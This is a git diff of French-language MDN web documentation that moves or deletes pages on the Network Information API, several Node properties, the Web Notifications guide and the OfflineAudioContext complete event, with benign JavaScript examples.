L'API Network Information (Informations réseau) fournit des informations sur la connexion de l'appareil : la bande-passante, si la connexion est mesurée ou non. Elle peut être utilisée pour choisir entre du contenu en haute définition ou en basse définition selon la connexion de l'utilisateur. L'API ne représente qu'un seul objet, ajouté au DOM : {{domxref("window.navigator.connection")}}.

+ +

Exemples

+ +

Détecter les changements de connexion

+ +

Cet exemple permet de connaître les changements liés à la connexion d'un utilisateur. Cela ressemble notamment à la façon dont une application saura si l'utilisateur passe d'une connexion coûteuse à une autre connexion moins chère et pourra réduire la demande de bande passante afin de réduire les coûts pour l'utilisateur.

+ +
var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+
+function updateConnectionStatus() {
+  alert("Bande passante de la connexion : " + connection.bandwidth + " MB/s");
+  if (connection.metered) {
+    alert("La connexion est mesurée !");
+  }
+}
+
+connection.addEventListener("change", updateConnectionStatus);
+updateConnectionStatus();
+
+ +

Préchargement de ressources gourmandes

+ +

L'objet connexion est pratique pour décider de précharger des ressources nécessitant une grosse quantité de bande passante ou de mémoire. Cet exemple devra être appelé après que la page ait été chargé. Il détermine si précharger la vidéo est judicieux selon le type de la connexion. Si une connexion cellulaire est trouvée, alors preloadVideo est réglé à faux. Ici pour faire simple, on ne teste qu'un type de connexion; dans un cas réel on aurait plutôt utilisé une structure de contrôle switch ou une autre méthode pour avoir tout les cas possibles de {{domxref("NetworkInformation.type")}}. Malgré la valeur type, on peut avoir une estimation de la vitesse de la connexion à travers la propriété {{domxref("NetworkInformation.effectiveType")}}.

+ +
let preloadVideo = true;
+var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection;
+if (connection) {
+  if (connection.effectiveType === 'cellular') {
+    preloadVideo = false;
+  }
+}
+ +

Interfaces

+ +
+
{{domxref("NetworkInformation")}}
+
Fournit des informations sur la connexion de l'appareil et fournit la possibilité aux scriptes d'être informé en cas de changement. L'interface NetworkInformation ne peut pas être instanciée; à la place on y accède à travers l'interface {{domxref("Navigator")}}.
+
+ +

Spécification

+ + + + + + + + + + + + + + + + +
SpécificationStatusCommentaire
{{SpecName('Network Information', '', 'Network Information API')}}{{Spec2('Network Information')}}Spécification initiale
+ +

Compatibilité des navigateurs

+ +

NetworkInformation

+ + + +

{{Compat("api.NetworkInformation")}}

+ + + + + +

{{Compat("api.Navigator.connection")}}

+ +

Voir aussi

+ +
    +
  • {{spec("http://dvcs.w3.org/hg/dap/raw-file/tip/network-api/Overview.html", "Spécification de l'API Network Information", "ED")}}
    • +
  • Les évènement online et offline
    • +
  • {{domxref("window.navigator.connection")}}
    • +
diff --git a/files/fr/web/api/node/baseuriobject/index.html b/files/fr/web/api/node/baseuriobject/index.html deleted file mode 100644 index 617ed79d8e..0000000000 --- a/files/fr/web/api/node/baseuriobject/index.html +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Node.baseURIObject -slug: Web/API/Node/baseURIObject -tags: - - API - - DOM - - Noeuds - - Propriétés - - URI - - URL -translation_of: Web/API/Node -translation_of_original: Web/API/Node/baseURIObject ---- -
{{APIRef("DOM")}} {{Non-standard_header}}
- -

La propriété Node.baseURIObject renvoie le {{Interface("nsIURI")}} représentant l'URL de base du noeud (un document ou un élément). Elle est similaire à {{domxref("Node.baseURI")}}, à ceci près qu'elle renvoie une "nsIURI" à la place d'une "string" (chaîne de caractères).

- -

Cette propriété existe sur tous les noeuds (HTML, XUL, SVG, MathML, etc.), mais est utilisable par le script seulement s'il a des privilèges UniversalXPConnect.

- -

Voir {{domxref("Node.baseURI")}} pour plus de détails sur ce qu'est une URL de base.

- -

Syntaxe

- -
uriObj = node.baseURIObject
-
- -

Notes

- -

Cette propriété est en lecture seule ; tenter d'y écrire lancera une exception. En outre, on ne peut y accèder qu'à partir du code privilégié.

- -

Spécification

- -

N'existe dans aucune spécification.

- -

Compatibilité des navigateurs

- - - -

{{Compat("api.Node.baseURIObject")}}

diff --git a/files/fr/web/api/node/innertext/index.html b/files/fr/web/api/node/innertext/index.html deleted file mode 100644 index 6b9d530411..0000000000 --- a/files/fr/web/api/node/innertext/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Node.innerText -slug: Web/API/Node/innerText -translation_of: Web/API/HTMLElement/innerText ---- -
{{APIRef("DOM")}}
- -

Sommaire

- -

Node.innerText est une propriété représentant le contenu textuel « visuellement rendu » d’un nœud. Utilisé en lecture, il renvoie une approximation du texte que l’utilisateur ou utilisatrice obtiendrait s’il ou elle sélectionnnait le contenu d’un élément avec le curseur, et le copiait dans le presse-papier.

- -

{{domxref("Node.textContent")}} est une alternative similaire, bien qu’il y ait d’importantes différences entre les deux.

- -

Spécification

- - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduction basée sur le brouillon de spécification de innerText. Voir whatwg/html#465 et whatwg/compat#5 pour l’histoire.
- -

Compatibilité des navigateurs

- - - -

{{Compat("api.Node.innerText")}}

- -

Voir aussi

- -
    -
  • {{domxref("HTMLElement.outerText")}}
    • -
  • {{domxref("Element.innerHTML")}}
    • -
diff --git a/files/fr/web/api/node/nodeprincipal/index.html b/files/fr/web/api/node/nodeprincipal/index.html deleted file mode 100644 index 33144eae42..0000000000 --- a/files/fr/web/api/node/nodeprincipal/index.html +++ /dev/null @@ -1,40 +0,0 @@ ---- -title: Node.nodePrincipal -slug: Web/API/Node/nodePrincipal -tags: - - API - - DOM - - Noeuds - - Principal - - Propriétés -translation_of: Web/API/Node -translation_of_original: Web/API/Node/nodePrincipal ---- -
{{APIRef("DOM")}} {{Non-standard_header}}
- -

La propriété en lecture seule Node.nodePrincipal renvoie l'objet {{Interface("nsIPrincipal")}} représentant le contexte de sécurité actuel du noeud.

- -

{{Note("Cette propriété existe sur tous les nœuds (HTML, XUL, SVG, MathML, etc.), mais n'est accessible par le script que s'il possède des privilèges de chrome.")}}

- -

Syntaxe

- -
principalObj = Node.nodePrincipal
-
- -

Valeur

- -

Un objet nsIPrincipal représentant le contexte de sécurité du noeud.

- -

Notes

- -

Cette propriété est en lecture seule ; tenter d'y écrire lancera une exception. En outre, cette propriété est accessible seulement par le code privilégié.

- -

Spécifications

- -

N'existe dans aucune spécification. C'est une propriété propre à Firefox.

- -

Compatibilité des navigateurs

- - - -

{{Compat("api.Node.nodePrincipal")}}

diff --git a/files/fr/web/api/node/rootnode/index.html b/files/fr/web/api/node/rootnode/index.html deleted file mode 100644 index 7ee512dd8f..0000000000 --- a/files/fr/web/api/node/rootnode/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Node.rootNode -slug: Web/API/Node/rootNode -tags: - - API - - Arborescence - - DOM - - Noeuds - - Propriétés - - Racine -translation_of: Web/API/Node/getRootNode -translation_of_original: Web/API/Node/rootNode ---- -

{{deprecated_header}}{{APIRef("DOM")}}{{SeeCompatTable}}

- -

La propriété en lecture seule Node.rootNode renvoie un objet {{domxref("Node")}} représentant le noeud du plus haut niveau de l'arbre, ou le noeud actuel s'il est le noeud du plus haut niveau de l'arbre. Il est trouvé par rétro-navigation à travers les noeuds parents {{domxref("Node.parentNode")}} jusqu'à l'arrivée au sommet.

- -
-

Important : Pour des raisons de compatibilité, cette propriété a été remplacée par la méthode {{domxref("Node.getRootNode()")}}.

-
- -

Syntaxe

- -
rootNode = node.rootNode;
-
- -

Valeur

- -

Un objet {{domxref("Node")}} représentant le noeud du plus haut niveau de l'arbre.

- -

Exemple

- -

L'exécution de la ligne suivante dans les navigateurs de support doit renvoyer une référence au noeud HTML / document :

- -
console.log(document.body.rootNode);
- -

Notes

- -

Les navigateurs basés sur Gecko insèrent des nœuds texte dans un document pour représenter des espaces - vides dans le balisage source. Par conséquent, un nœud obtenu par exemple via Node.firstChild ou - Node.previousSibling peut faire référence à un nœud texte contenant des espaces plutôt qu'au véritable élément - que l'auteur comptait obtenir.

- -

Consultez Gestion des espaces dans le DOM - et Why are some Text nodes empty? - dans la FAQ DOM 3 du W3C pour plus d'informations.

- -

Compatibilité des navigateurs

- - - -

{{Compat("api.Node.rootNode")}}

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('DOM WHATWG', '#dom-node-rootnode', 'Node.rootNode')}}{{Spec2('DOM WHATWG')}}Définition initiale.
diff --git a/files/fr/web/api/notification/using_web_notifications/index.html b/files/fr/web/api/notification/using_web_notifications/index.html deleted file mode 100644 index 796e7d152a..0000000000 --- a/files/fr/web/api/notification/using_web_notifications/index.html +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: Utilisation des Notifications Web -slug: Web/API/notification/Using_Web_Notifications -tags: - - Avancé - - DOM - - Firefox OS - - Guide - - Notifications -translation_of: Web/API/Notifications_API/Using_the_Notifications_API ---- -

{{SeeCompatTable}}

- -

En bref

- -

L'API de Notifications Web permet à une page Web d'envoyer des notifications qui s'affichent hors de la page au niveau du système. Cela permet aux applications web d'envoyer des informations à un utilisateur, même si l'application est inactive. Un des principaux cas d'utilisation évidente est une application de messagerie Web qui informe l'utilisateur à chaque fois qu'un nouvel e-mail est reçu, même si l'utilisateur fait autre chose avec une autre application.

- -

Pour afficher des notifications, il faut commencer par demander la permission appropriée et d'instancier un objet {{domxref("Notification")}} :

- -
Notification.requestPermission( function(status) {
-  console.log(status); // les notifications ne seront affichées que si "autorisées"
-  var n = new Notification("title", {body: "notification body"}); // this also shows the notification
-});
-
- -

Obtenir l'autorisation

- -

Avant qu'une application ne soit capable d'envoyer une notification, l'utilisateur doit donner son accord. C'est une exigence commune quand une API tente d'interagir avec quoi que ce soit en dehors d'une page Web. Cela permet d'éviter les notifications "spam" pour le bien-être de l'utilisateur.

- -

Vérifier l'état de la permission

- -

Une application qui a besoin d'envoyer une notification peut vérifier l'état d'autorisation actuel grâce à la propriété non modifiable {{domxref("Notification.permission")}} . Il peut avoir l'une des trois valeurs possibles :

- -
    -
  • default: l'utilisateur n'a pas encore donné sa permission (et donc aucune notification ne sera affichée à l'utilisateur).
    • -
  • granted: l'utilisateur a explicitement accepté d'être notifié par l'application.
    • -
  • denied: l'utilisateur a explicitement refusé d'être notifié par l'application.
    • -
- -
-

Note: Safari et Chrome antérieurs à v32 n'appliquent pas encore la propriété  permission .

-
- -

Recevoir la permission

- -

Si l'autorisation n'est pas accordée, l'application doit utiliser la méthode {{domxref("Notification.requestPermission()")}} pour permettre à l'utilisateur de faire un choix. Cette méthode accepte une fonction de rappel qui reçoit la permission choisie par l'utilisateur pour réagir.

- -

C'est une pratique usuelle de demander l'autorisation à l'initialisation de l'application:

- -
window.addEventListener('load', function () {
-  Notification.requestPermission(function (status) {
-    // Cela permet d'utiliser Notification.permission avec Chrome/Safari
-    if (Notification.permission !== status) {
-      Notification.permission = status;
-    }
-  });
-});
- -
-

Note: Chrome ne permettait pas l'appel à {{domxref("Notification.requestPermission()")}} dans l'event load jusqu'à sa version 37 (voir issue 274284).

-
- -

Manifeste des permissions pour l'API de Notification

- -

Notez que tant que que l'API de Notification API n'est pas privileged ou certifiée, il vous faudra toujours ajouter une entrée dans votre ficher manifest.webapp pour l'inclure dans une application web ouverte:

- -
"permissions": {
-  "desktop-notification": {
-    "description": "Needed for creating system notifications."
-  }
-}
- -
-

Remarque : quand une application est installée, vous ne devriez pas avoir besoin de demander la permission explicitement par le code ci-dessus, mais vous aurez toujours besoin de l'entrée des autorisations ci-dessus pour que les notifications soient lancées.

-
- -

Créer une notification

- -

Créer une notification peut être simplement réalisé en utilisant le constructeur {{domxref("Notification")}}. Ce constructeur s'attend à recevoir un titre à afficher dans la notification et quelques options pour la personnaliser telles qu'une icône {{domxref("Notification.icon","icon")}} ou un texte {{domxref("Notification.body","body")}}.

- -

Une notification sera affichée dès que possible. Pour connaître son statut d'affichage, quatre événements peuvent être déclenchés au niveau de {{domxref("Notification")}} :

- -
    -
  • {{event("show")}}: déclenché quand la notification est affichée à l'utilisateur.
    • -
  • {{event("click")}}: déclenché quand l'utilisateur clique sur la notification.
    • -
  • {{event("close")}}: déclenché quand la notification est fermée.
    • -
  • {{event("error")}}: déclenché quand quelque chose n'a pas fonctionné avec cette notification (surtout quand quelque chose empêche la notification d'être affichée)
    • -
- -

Ces événements peuvent être suivis en utilisant les gestionnaires d'événements {{domxref("Notification.onshow","onshow")}}, {{domxref("Notification.onclick","onclick")}}, {{domxref("Notification.onclose","onclose")}}, ou {{domxref("Notification.onerror","onerror")}}. Car {{domxref("Notification")}} hérite également de {{domxref("EventTarget")}}, Il est possible d'utiliser cette {{domxref("EventTarget.addEventListener","addEventListener()")}} méthode..

- -
-

Note: Firefox et Safari ferment automatiquement les notifications après un certain temps, de l'ordre de 4 secondes.

- -

Cela peut aussi être fait au niveau de l'application web en utilisant la méthode {{domxref("Notification.close()")}},  comme par exemple dans le code suivant:

- -
var n = new Notification("Salut!");
-n.onshow = function () {
-  setTimeout(n.close.bind(n), 5000);
-}
-
- -

Quand vous recevez un événement "close", il n'y a aucune garantie que l'utilisateur ait lui-même fermé la notification. C'est en accord avec la spécification, qui dit : "When a notification is closed, either by the underlying notifications platform or by the user, the close steps for it must be run." soit "Quand une notification est fermée, que ce soit par la plateforme ou par l'utilisateur, on procède à l'étape de clôture."

-
- -

Un petit exemple

- -

En considérant ce petit bout de HTML assez simple :

- -
<button>Notifiez moi!</button>
- -

Il est possible de gérer les notifications de cette façon :

- -
window.addEventListener('load', function () {
-  // Premièrement, vérifions que nous avons la permission de publier des notifications. Si ce n'est pas le cas, demandons la
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // Si l'utilisateur accepte d'être notifié
-    if (window.Notification && Notification.permission === "granted") {
-      var n = new Notification("Coucou !");
-    }
-
-    // Si l'utilisateur n'a pas choisi s'il accepte d'être notifié
-    // Note: à cause de Chrome, nous ne sommes pas certains que la propriété permission soit définie, par conséquent il n'est pas sûr de vérifier la valeur par défaut.
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // Si l'utilisateur est OK
-        if (status === "granted") {
-          var n = new Notification("Coucou !");
-        }
-
-        // Sinon, revenons en à un mode d'alerte classique
-        else {
-          alert("Coucou !");
-        }
-      });
-    }
-
-    // Si l'utilisateur refuse d'être notifié
-    else {
-      // We can fallback to a regular modal alert
-      alert("Coucou !");
-    }
-  });
-});
- -

Et voici le résultat:

- -

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

- -

Gestion des notifications répétitives

- -

Dans certains cas, il peut être dérangeant pour l'utilisateur de lui envoyer un nombre élevé de notifications - par exemple, si une application pour la messagerie instantanée peut notifier à un utilisateur pour chaque message entrant. Pour éviter une invasion de "bulles" sur le bureau de l'utilisateur avec des centaines de notifications inutiles, il est possible de prendre en charge la file d'attente des notifications en attente.

- -

Pour ce faire, il est possible d'ajouter un tag à toute nouvelle notification. Si une notification a déjà le même tag et n'a pas encore été affichée, la nouvelle notification va remplacer l'ancienne. Si la notification avec le même tag a déjà été affichée, l'ancienne notification est fermée et la nouvelle est affichée.

- -

Exemple de Tag

- -

Considérons le code HTML suivant:

- -
<button>Notifie moi!</button>
- -

Il est possible de gérer plusieurs notifications de cette manière:

- -
window.addEventListener('load', function () {
-  // Premièrement, vérifions que nous avons la permission de notifier
-  // Sinon, demandons la permission
-  if (window.Notification && Notification.permission !== "granted") {
-    Notification.requestPermission(function (status) {
-      if (Notification.permission !== status) {
-        Notification.permission = status;
-      }
-    });
-  }
-
-  var button = document.getElementsByTagName('button')[0];
-
-  button.addEventListener('click', function () {
-    // Si l'utilisateur accepte les notifications
-    // essayons d'envoyer 10 notifications
-    if (window.Notification && Notification.permission === "granted") {
-      for (var i = 0; i < 10; i++) {
-        // Grâce au tag, nous ne devrions voir que la notification "Hey! 9"
-        var n = new Notification("Hey! " + i, {tag: 'soManyNotification'});
-      }
-    }
-
-    // Si l'utilisateur n'a pas choisi s'il accepte d'être notifié // Note: à cause de Chrome, nous ne sommes pas certains que la
-    // propriété permission soit définie, par conséquent il n'est pas
-    // sûr de vérifier la valeur par défault.
-    else if (window.Notification && Notification.permission !== "denied") {
-      Notification.requestPermission(function (status) {
-        if (Notification.permission !== status) {
-          Notification.permission = status;
-        }
-
-        // Si l'utilisateur a accepté les notifications
-        if (status === "granted") {
-          for (var i = 0; i < 10; i++) {
-            // Grâce au tag, nous ne devrions voir que la notification "Hey! 9"
-            var n = new Notification("Hey! " + i, {tag: 'soManyNotification'});
-          }
-        }
-
-        // Sinon on bascule sur une alerte modale
-        else {
-          alert("Hey!");
-        }
-      });
-    }
-
-    // Si l'utilisateur refuse les notifications
-    else {
-      // on bascule sur une alerte modale
-      alert("Hey!");
-    }
-  });
-});
- -

Et voici le résultat:

- -

{{ EmbedLiveSample('Tag_example', '100%', 30) }}

- -

Recevoir la notification du clic sur une notification

- -

Quand un utilisateur clique sur une notification générée par une application, il sera notifié de cet événement de deux façons, en fonction de la circonstance:

- -
    -
  1. Un événement click si votre application n'a pas été fermée ou placée en arrière-plan entre le moment où vous créez la notification et celui où l'utilisateur clique dessus.
    2. -
  2. Sinon un message système
    3. -
- -

Voir cet extrait de code pour un exemple d'utilisation.

- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Spécification initiale
- -

Compatibilité Navigateurs

- -

{{page("/fr/Web/API/Notification","Browser compatibility")}}

- -

A lire aussi

- -
    -
  • {{ domxref("Notification") }}
    • -
diff --git a/files/fr/web/api/notifications_api/using_the_notifications_api/index.html b/files/fr/web/api/notifications_api/using_the_notifications_api/index.html new file mode 100644 index 0000000000..796e7d152a --- /dev/null +++ b/files/fr/web/api/notifications_api/using_the_notifications_api/index.html @@ -0,0 +1,275 @@ +--- +title: Utilisation des Notifications Web +slug: Web/API/notification/Using_Web_Notifications +tags: + - Avancé + - DOM + - Firefox OS + - Guide + - Notifications +translation_of: Web/API/Notifications_API/Using_the_Notifications_API +--- +

{{SeeCompatTable}}

+ +

En bref

+ +

L'API de Notifications Web permet à une page Web d'envoyer des notifications qui s'affichent hors de la page au niveau du système. Cela permet aux applications web d'envoyer des informations à un utilisateur, même si l'application est inactive. Un des principaux cas d'utilisation évidente est une application de messagerie Web qui informe l'utilisateur à chaque fois qu'un nouvel e-mail est reçu, même si l'utilisateur fait autre chose avec une autre application.

+ +

Pour afficher des notifications, il faut commencer par demander la permission appropriée et d'instancier un objet {{domxref("Notification")}} :

+ +
Notification.requestPermission( function(status) {
+  console.log(status); // les notifications ne seront affichées que si "autorisées"
+  var n = new Notification("title", {body: "notification body"}); // this also shows the notification
+});
+
+ +

Obtenir l'autorisation

+ +

Avant qu'une application ne soit capable d'envoyer une notification, l'utilisateur doit donner son accord. C'est une exigence commune quand une API tente d'interagir avec quoi que ce soit en dehors d'une page Web. Cela permet d'éviter les notifications "spam" pour le bien-être de l'utilisateur.

+ +

Vérifier l'état de la permission

+ +

Une application qui a besoin d'envoyer une notification peut vérifier l'état d'autorisation actuel grâce à la propriété non modifiable {{domxref("Notification.permission")}} . Il peut avoir l'une des trois valeurs possibles :

+ +
    +
  • default: l'utilisateur n'a pas encore donné sa permission (et donc aucune notification ne sera affichée à l'utilisateur).
    • +
  • granted: l'utilisateur a explicitement accepté d'être notifié par l'application.
    • +
  • denied: l'utilisateur a explicitement refusé d'être notifié par l'application.
    • +
+ +
+

Note: Safari et Chrome antérieurs à v32 n'appliquent pas encore la propriété  permission .

+
+ +

Recevoir la permission

+ +

Si l'autorisation n'est pas accordée, l'application doit utiliser la méthode {{domxref("Notification.requestPermission()")}} pour permettre à l'utilisateur de faire un choix. Cette méthode accepte une fonction de rappel qui reçoit la permission choisie par l'utilisateur pour réagir.

+ +

C'est une pratique usuelle de demander l'autorisation à l'initialisation de l'application:

+ +
window.addEventListener('load', function () {
+  Notification.requestPermission(function (status) {
+    // Cela permet d'utiliser Notification.permission avec Chrome/Safari
+    if (Notification.permission !== status) {
+      Notification.permission = status;
+    }
+  });
+});
+ +
+

Note: Chrome ne permettait pas l'appel à {{domxref("Notification.requestPermission()")}} dans l'event load jusqu'à sa version 37 (voir issue 274284).

+
+ +

Manifeste des permissions pour l'API de Notification

+ +

Notez que tant que que l'API de Notification API n'est pas privileged ou certifiée, il vous faudra toujours ajouter une entrée dans votre ficher manifest.webapp pour l'inclure dans une application web ouverte:

+ +
"permissions": {
+  "desktop-notification": {
+    "description": "Needed for creating system notifications."
+  }
+}
+ +
+

Remarque : quand une application est installée, vous ne devriez pas avoir besoin de demander la permission explicitement par le code ci-dessus, mais vous aurez toujours besoin de l'entrée des autorisations ci-dessus pour que les notifications soient lancées.

+
+ +

Créer une notification

+ +

Créer une notification peut être simplement réalisé en utilisant le constructeur {{domxref("Notification")}}. Ce constructeur s'attend à recevoir un titre à afficher dans la notification et quelques options pour la personnaliser telles qu'une icône {{domxref("Notification.icon","icon")}} ou un texte {{domxref("Notification.body","body")}}.

+ +

Une notification sera affichée dès que possible. Pour connaître son statut d'affichage, quatre événements peuvent être déclenchés au niveau de {{domxref("Notification")}} :

+ +
    +
  • {{event("show")}}: déclenché quand la notification est affichée à l'utilisateur.
    • +
  • {{event("click")}}: déclenché quand l'utilisateur clique sur la notification.
    • +
  • {{event("close")}}: déclenché quand la notification est fermée.
    • +
  • {{event("error")}}: déclenché quand quelque chose n'a pas fonctionné avec cette notification (surtout quand quelque chose empêche la notification d'être affichée)
    • +
+ +

Ces événements peuvent être suivis en utilisant les gestionnaires d'événements {{domxref("Notification.onshow","onshow")}}, {{domxref("Notification.onclick","onclick")}}, {{domxref("Notification.onclose","onclose")}}, ou {{domxref("Notification.onerror","onerror")}}. Car {{domxref("Notification")}} hérite également de {{domxref("EventTarget")}}, Il est possible d'utiliser cette {{domxref("EventTarget.addEventListener","addEventListener()")}} méthode..

+ +
+

Note: Firefox et Safari ferment automatiquement les notifications après un certain temps, de l'ordre de 4 secondes.

+ +

Cela peut aussi être fait au niveau de l'application web en utilisant la méthode {{domxref("Notification.close()")}},  comme par exemple dans le code suivant:

+ +
var n = new Notification("Salut!");
+n.onshow = function () {
+  setTimeout(n.close.bind(n), 5000);
+}
+
+ +

Quand vous recevez un événement "close", il n'y a aucune garantie que l'utilisateur ait lui-même fermé la notification. C'est en accord avec la spécification, qui dit : "When a notification is closed, either by the underlying notifications platform or by the user, the close steps for it must be run." soit "Quand une notification est fermée, que ce soit par la plateforme ou par l'utilisateur, on procède à l'étape de clôture."

+
+ +

Un petit exemple

+ +

En considérant ce petit bout de HTML assez simple :

+ +
<button>Notifiez moi!</button>
+ +

Il est possible de gérer les notifications de cette façon :

+ +
window.addEventListener('load', function () {
+  // Premièrement, vérifions que nous avons la permission de publier des notifications. Si ce n'est pas le cas, demandons la
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // Si l'utilisateur accepte d'être notifié
+    if (window.Notification && Notification.permission === "granted") {
+      var n = new Notification("Coucou !");
+    }
+
+    // Si l'utilisateur n'a pas choisi s'il accepte d'être notifié
+    // Note: à cause de Chrome, nous ne sommes pas certains que la propriété permission soit définie, par conséquent il n'est pas sûr de vérifier la valeur par défaut.
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // Si l'utilisateur est OK
+        if (status === "granted") {
+          var n = new Notification("Coucou !");
+        }
+
+        // Sinon, revenons en à un mode d'alerte classique
+        else {
+          alert("Coucou !");
+        }
+      });
+    }
+
+    // Si l'utilisateur refuse d'être notifié
+    else {
+      // We can fallback to a regular modal alert
+      alert("Coucou !");
+    }
+  });
+});
+ +

Et voici le résultat:

+ +

{{ EmbedLiveSample('Simple_example', '100%', 30) }}

+ +

Gestion des notifications répétitives

+ +

Dans certains cas, il peut être dérangeant pour l'utilisateur de lui envoyer un nombre élevé de notifications - par exemple, si une application pour la messagerie instantanée peut notifier à un utilisateur pour chaque message entrant. Pour éviter une invasion de "bulles" sur le bureau de l'utilisateur avec des centaines de notifications inutiles, il est possible de prendre en charge la file d'attente des notifications en attente.

+ +

Pour ce faire, il est possible d'ajouter un tag à toute nouvelle notification. Si une notification a déjà le même tag et n'a pas encore été affichée, la nouvelle notification va remplacer l'ancienne. Si la notification avec le même tag a déjà été affichée, l'ancienne notification est fermée et la nouvelle est affichée.

+ +

Exemple de Tag

+ +

Considérons le code HTML suivant:

+ +
<button>Notifie moi!</button>
+ +

Il est possible de gérer plusieurs notifications de cette manière:

+ +
window.addEventListener('load', function () {
+  // Premièrement, vérifions que nous avons la permission de notifier
+  // Sinon, demandons la permission
+  if (window.Notification && Notification.permission !== "granted") {
+    Notification.requestPermission(function (status) {
+      if (Notification.permission !== status) {
+        Notification.permission = status;
+      }
+    });
+  }
+
+  var button = document.getElementsByTagName('button')[0];
+
+  button.addEventListener('click', function () {
+    // Si l'utilisateur accepte les notifications
+    // essayons d'envoyer 10 notifications
+    if (window.Notification && Notification.permission === "granted") {
+      for (var i = 0; i < 10; i++) {
+        // Grâce au tag, nous ne devrions voir que la notification "Hey! 9"
+        var n = new Notification("Hey! " + i, {tag: 'soManyNotification'});
+      }
+    }
+
+    // Si l'utilisateur n'a pas choisi s'il accepte d'être notifié // Note: à cause de Chrome, nous ne sommes pas certains que la
+    // propriété permission soit définie, par conséquent il n'est pas
+    // sûr de vérifier la valeur par défault.
+    else if (window.Notification && Notification.permission !== "denied") {
+      Notification.requestPermission(function (status) {
+        if (Notification.permission !== status) {
+          Notification.permission = status;
+        }
+
+        // Si l'utilisateur a accepté les notifications
+        if (status === "granted") {
+          for (var i = 0; i < 10; i++) {
+            // Grâce au tag, nous ne devrions voir que la notification "Hey! 9"
+            var n = new Notification("Hey! " + i, {tag: 'soManyNotification'});
+          }
+        }
+
+        // Sinon on bascule sur une alerte modale
+        else {
+          alert("Hey!");
+        }
+      });
+    }
+
+    // Si l'utilisateur refuse les notifications
+    else {
+      // on bascule sur une alerte modale
+      alert("Hey!");
+    }
+  });
+});
+ +

Et voici le résultat:

+ +

{{ EmbedLiveSample('Tag_example', '100%', 30) }}

+ +

Recevoir la notification du clic sur une notification

+ +

Quand un utilisateur clique sur une notification générée par une application, il sera notifié de cet événement de deux façons, en fonction de la circonstance:

+ +
    +
  1. Un événement click si votre application n'a pas été fermée ou placée en arrière-plan entre le moment où vous créez la notification et celui où l'utilisateur clique dessus.
    2. +
  2. Sinon un message système
    3. +
+ +

Voir cet extrait de code pour un exemple d'utilisation.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Web Notifications')}}{{Spec2('Web Notifications')}}Spécification initiale
+ +

Compatibilité Navigateurs

+ +

{{page("/fr/Web/API/Notification","Browser compatibility")}}

+ +

A lire aussi

+ +
    +
  • {{ domxref("Notification") }}
    • +
diff --git a/files/fr/web/api/offlineaudiocontext/complete_event/index.html b/files/fr/web/api/offlineaudiocontext/complete_event/index.html new file mode 100644 index 0000000000..5e3b264f1c --- /dev/null +++ b/files/fr/web/api/offlineaudiocontext/complete_event/index.html @@ -0,0 +1,91 @@ +--- +title: complete +slug: Web/Events/complete +translation_of: Web/API/OfflineAudioContext/complete_event +--- +
+

L'événement complete est déclenché lorsque le rendu d'un {{domxref("OfflineAudioContext")}} est terminé.

+
+ +

Informations générales

+ +
+
Spécification
+
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}
+
Interface
+
{{domxref("OfflineAudioCompletionEvent")}}
+
Propagation
+
?
+
Annulable
+
?
+
Cible
+
{{domxref("OfflineAudioContext")}}
+
Action par défaut
+
Aucune
+
+ +

Propriétés

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
renderedBuffer {{readonlyInline}}{{domxref("AudioBuffer")}}The buffer containing the result of the processing of an {{domxref("OfflineAudioContext")}}.
+ +

Evénements liés

+ +

Aucun

+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}{{Spec2('Web Audio API')}} 
+ +

Voir aussi

+ + diff --git a/files/fr/web/api/pointer_events/gestes_pincer_zoom/index.html b/files/fr/web/api/pointer_events/gestes_pincer_zoom/index.html deleted file mode 100644 index 707b3e5eb3..0000000000 --- a/files/fr/web/api/pointer_events/gestes_pincer_zoom/index.html +++ /dev/null @@ -1,220 +0,0 @@ ---- -title: Gestes pincer et zoomer -slug: Web/API/Pointer_events/gestes_pincer_zoom -tags: - - Guide - - PointerEvent - - touch -translation_of: Web/API/Pointer_events/Pinch_zoom_gestures ---- -

{{DefaultAPISidebar("Pointer Events")}}

- -

